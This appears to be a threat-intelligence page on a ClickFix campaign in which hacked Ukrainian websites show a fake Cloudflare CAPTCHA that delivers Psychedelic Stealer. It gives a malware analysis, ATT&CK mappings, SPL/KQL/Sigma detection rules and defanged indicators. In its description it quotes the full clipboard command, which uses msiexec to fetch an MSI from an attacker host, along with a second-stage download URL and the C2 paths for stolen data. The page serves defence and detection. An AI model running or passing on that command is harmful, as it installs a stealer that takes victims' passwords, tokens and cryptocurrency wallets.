# ClickFix Campaign Abuses Compromised Ukrainian Websites to Deploy Psychedelic Stealer

> Arctic Wolf Labs is tracking an active ClickFix campaign in which six compromised Ukrainian business websites serve a fake Cloudflare CAPTCHA that silently copies a msiexec.exe command to the clipboard and walks victims through pasting it into the Windows Run dialog. The resulting MSI installs Psychedelic Stealer, a 64-bit credential/token/cryptocurrency-wallet harvester with scheduled-task persistence and remote tasking of EXE/COM/BAT/CMD/MSI/PowerShell payloads via a C2 with Russian-language operator artifacts.

- **Published:** 2026-09-27T00:00:00Z
- **Last reviewed:** 2026-10-05T14:19:36Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2699
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-psychedelic-stealer-clickfix-tl-2026-2699.webp?v=503a0647 (Threadlinqs threat intel: Psychedelic Stealer ClickFix Campaign: Detection & IOCs (TL-2026-2699) — High severity, 25 IOCs, 9 detection rules.)
- **ID:** TL-2026-2699
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 25 (3 shown free below)

## Description

Beginning no later than 9 September 2026, an unattributed but assessed Russian-speaking threat actor compromised at least six legitimate Ukrainian small-business websites (a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller/publisher, a psychological facility, a tool retailer, and an automotive retailer) and injected a hidden iframe that loads a remote script from fsputnik.com (hxxps://fsputnik.com/tds/tracker.js). The iframe renders a counterfeit Cloudflare 'verify you are human' page. The page declares lang="ru" and contains Russian-language HTML comments despite Ukrainian-visible text, displays a randomly generated hexadecimal 'Ray ID' and a fixed 'visitor identifier' (34as77), and reads 'Адреса сайту не визначена' ('site address not specified'). Clicking the CAPTCHA fires a 'click' beacon and immediately calls copyToClipboard() to place a Windows Installer command on the clipboard -- before the page ever shows the Windows+R instructions, creating a deliberate gap between the hidden action and the visible instruction. A three-second spinner and an approximately 35-second disabled 'Done' button add social-engineering pressure and buy time for the paste-and-run flow to feel deliberate rather than automatic.

The clipboard payload is a single line: Msiexec.exe /i "https://uasputnik.com/elita.msi" /passive ORG_NOTE="Захист від автоматичних запитів... Підтверджую, що я не робот." Using msiexec.exe with /passive avoids invoking powershell.exe or cmd.exe directly, side-stepping detections that focus on scripting-engine abuse. The domain uasputnik.com was registered on 9 September 2026 at 17:02:25 UTC through registrar Gransy, s.r.o. and was updated roughly 3.5 hours later; it resolved to 176.53.159.40 (AS154383, ZORNTECH WEB SOLUTIONS) from 9-14 September 2026. Multiple MSI filenames were observed served from the domain (elita.msi, miks.msi, astra.msi, harbor.msi, neon.msi, sova.msi, vyse.msi), consistent with per-target or per-campaign staging. The analyzed elita.msi (SHA-256 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878) embeds an encrypted next-stage URL that decodes to http://107.175.82.242:9000/wilow/psychedeliclove.exe, along with decoy strings referencing MsMpEng.exe and explorer.exe.

psychedeliclove.exe (SHA-256 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90) is a 64-bit Windows executable that Arctic Wolf Labs tracks as Psychedelic Stealer, based on an internal 'Psychedelic' configuration tag. It harvests saved passwords and account tokens from Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, and Yandex (dedicated routines at offsets 0x140008da0 for passwords and 0x140009950 for tokens, the latter reading a temporary copy of the Chromium Web Data database named wd_tmp.db), and separately targets cryptocurrency assets: browser-extension wallets MetaMask, Trust Wallet, OKX Wallet, and SafePal (routine at 0x14000a8a0), and desktop wallets Exodus, Atomic Wallet, Electrum, Bitcoin Core, and Litecoin Core (routine at 0x14000ab60). Stolen data is uploaded over HTTP to a dedicated C2 at 193.178.159.128:8080, authenticated with an X-API-Key header, to endpoint-specific paths (/api/v1/checkin, /api/v1/ext/passwords, /api/v1/ext/tokens, /api/v1/ext/wallets). The malware also profiles the host (computer/user name, OS version and architecture, CPU/core count, RAM, GPU, disk size, timezone, language, screen resolution, MAC address, administrator status, installed AV, and installed browsers) and establishes persistence via a logon scheduled task named psychedelicloveUtils. Remote tasking is implemented through /api/v1/agent/tasks?hwid=%s (poll), /api/v1/agent/tasks/%llu/ack (acknowledge), and %s/d/%s (attachment retrieval), supporting EXE, COM, BAT, CMD, MSI, and PowerShell task types, with local state tracked in executed_tasks.json and downloaded files staged under downloads\<taskid>_<filename>. A native-messaging bridge (host name com.lunex.explorer, manifest com.lunex.explorer.json, with supporting host.ps1/host.bat scripts and an <<BP_INSTALLER_HWID>> placeholder) is deployed into browser profiles to let a companion browser extension communicate with the host implant.

The lure-side infrastructure is managed through a separate operator panel branded 'РУБЛЁВКА TDS' ('Rublevka TDS', named for a wealthy Moscow district), hosted on uasputnik.com, which configures per-domain payload delivery, polls visitor-interaction telemetry every two seconds, and retrieves the live payload value via an asynchronous request to admin777111777.php?api=get_payload&domain=uasputnik.com (falling back to a hardcoded placeholder if the response is too short, with no validation before the value is copied to the clipboard). At observation time the panel recorded 557 views, 426 clicks, and 79 'complete' events across 32 countries; the operators' own event model cannot distinguish web-lure progression from actual MSI execution or host compromise. Ukraine accounted for the large majority of recorded interaction (446 views, 351 clicks, 71 'complete' events), with smaller volumes from the United States, Poland, Germany, Canada, and the Netherlands, confirming Ukrainian users as the primary intended audience despite the campaign's incidental global reach. Arctic Wolf Labs assesses the operators are likely Russian-speaking based on the Russian-language HTML artifacts, the lang="ru" declaration, the 'Rublevka' panel branding, and source-code checks that avoid execution on hosts with Russian keyboard layouts, but has not attributed the activity to a named threat actor or group. No CVE applies; the entire chain relies on social engineering (ClickFix-style clipboard hijacking) rather than a software vulnerability.

## MITRE ATT&CK

- T1583.001 Domains
- T1204.004 Malicious Copy and Paste
- T1218.007 Msiexec
- T1140 Deobfuscate/Decode Files or Information
- T1053.005 Scheduled Task
- T1176 Software Extensions
- T1555.003 Credentials from Web Browsers
- T1528 Steal Application Access Token
- T1082 System Information Discovery
- T1614.001 System Language Discovery
- T1005 Data from Local System
- T1071.001 Web Protocols
- T1657 Financial Theft

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Psychedelic Stealer Persistence and Host/Browser Harvesting Artifacts — SPL** (`TL-2026-2699-SPL-002`)

Detects the on-host artifacts Psychedelic Stealer creates after initial execution: the logon scheduled task 'psychedelicloveUtils' used for persistence, the com.lunex.explorer.json native-messaging host manifest that bridges a companion browser extension to the implant, and the wd_tmp.db / executed_tasks.json temp files used respectively to stage stolen Chromium token data and track remote-tasking state — collectively covering the malware's persistence, discovery, and browser credential/token/wallet harvesting behavior.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1053.005, T1176, T1555.003, T1528, T1005, T1082, T1614.001
- **Data sources:** sysmon, windows_security, microsoft_defender_for_endpoint, edr_file_monitoring
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval cmd=lower(CommandLine), tgt=lower(TargetFilename)
| where (EventCode=1 AND cmd LIKE "%schtasks%" AND cmd LIKE "%psychedelicloveutils%")
   OR (EventCode=11 AND (tgt LIKE "%wd_tmp.db" OR tgt LIKE "%executed_tasks.json" OR tgt LIKE "%com.lunex.explorer.json"))
| table _time, ComputerName, User, EventCode, Image, CommandLine, TargetFilename
| sort -_time
```

### Microsoft KQL

```kql
let taskArtifact = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "psychedelicloveUtils"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine;
let fileArtifact = DeviceFileEvents
| where Timestamp > ago(24h)
| where FileName in~ ("wd_tmp.db", "executed_tasks.json", "com.lunex.explorer.json")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath;
taskArtifact
| union fileArtifact
```

### Sigma

```yaml
title: Psychedelic Stealer Scheduled Task Persistence (psychedelicloveUtils)
id: e7f3a2b0-6c4e-4b9a-9f1d-2a8c5e9b3f02
status: experimental
description: Detects creation of the psychedelicloveUtils logon scheduled task used by Psychedelic Stealer for persistence, and the supporting com.lunex.explorer.json native-messaging manifest and wd_tmp.db/executed_tasks.json artifacts used for browser token theft and remote-tasking state.
references:
  - https://arcticwolf.com/resources/blog/psychedelic-stealer-fake-clickfix-captcha-targets-ukraine/
author: Threadlinqs Team
date: 2026-09-27
tags:
  - attack.persistence
  - attack.t1053.005
  - attack.t1176
  - attack.credential-access
  - attack.t1555.003
  - attack.t1528
  - attack.malware.psychedelic_stealer
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\schtasks.exe'
  selection_cmd:
    CommandLine|contains: '/create'
  selection_task:
    CommandLine|contains: 'psychedelicloveUtils'
  condition: all of selection_*
falsepositives:
  - None expected; the task name is unique to this malware family and not used by any known legitimate software
level: critical
```

**Known false positives:**

- None expected for the literal 'psychedelicloveUtils' task name or 'com.lunex.explorer' manifest; a generically-named 'wd_tmp.db' file could theoretically be created by unrelated Chromium tooling but co-occurrence with the task/manifest artifacts removes ambiguity

**Tuning notes:** The task and manifest names are unique to this campaign as observed; if the actor rotates them in future waves, pivot to the durable behavioral chain msiexec.exe -> psychedeliclove.exe -> schtasks.exe /create plus the wd_tmp.db temp-copy-of-Chromium-Web-Data pattern rather than the literal strings.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- ClickFix Clipboard-Hijack Msiexec Remote MSI Install (Psychedelic Stealer) — KQL (locked: unlock with TL Creds)
- Psychedelic Stealer Persistence and Host/Browser Harvesting Artifacts — KQL (locked: unlock with TL Creds)
- Psychedelic Stealer C2 Beaconing and Second-Stage Ingress Tool Transfer — KQL (locked: unlock with TL Creds)
- ClickFix Clipboard-Hijack Msiexec Remote MSI Install (Psychedelic Stealer) — Sigma (locked: unlock with TL Creds)
- Psychedelic Stealer Persistence and Host/Browser Harvesting Artifacts — Sigma (locked: unlock with TL Creds)
- Psychedelic Stealer C2 Beaconing and Second-Stage Ingress Tool Transfer — Sigma (locked: unlock with TL Creds)
- ClickFix Clipboard-Hijack Msiexec Remote MSI Install (Psychedelic Stealer) — SPL (locked: unlock with TL Creds)
- Psychedelic Stealer C2 Beaconing and Second-Stage Ingress Tool Transfer — SPL (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 25)

Defanged, TLP:CLEAR.

- IP address: `176.53.159[.]40`
- Domain: `uasputnik[.]com`
- File hash: `38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878`

Full set of 25 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [The Psychedelic Stealer: When a CAPTCHA Becomes an Installer](https://arcticwolf.com/resources/blog/psychedelic-stealer-fake-clickfix-captcha-targets-ukraine/)
- [ClickFix campaign abuses trusted websites to deploy Psychedelic Stealer](https://securityaffairs.com/199731/malware/clickfix-campaign-abuses-trusted-websites-to-deploy-psychedelic-stealer.html)
- [Hacked Ukrainian Sites Serve Fake Cloudflare ClickFix Lures for Psychedelic Stealer](https://thehackernews.com/2026/09/hacked-ukrainian-sites-serve-fake.html)
- [Arctic Wolf: Psychedelic stealer exploits CAPTCHA as an installer](https://www.techzine.eu/news/security/144520/arctic-wolf-psychedelic-stealer-exploits-captcha-as-an-installer/)
- [The Psychedelic Stealer: When a CAPTCHA Becomes an Installer (syndication)](https://malware.news/t/the-psychedelic-stealer-when-a-captcha-becomes-an-installer/125863)
- [Fake Cloudflare ClickFix Pages Deliver Psychedelic Stealer to Ukrainian Users](https://mallory.ai/stories/01a0d394-191d-7cb0-855c-311a88b94066)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2699
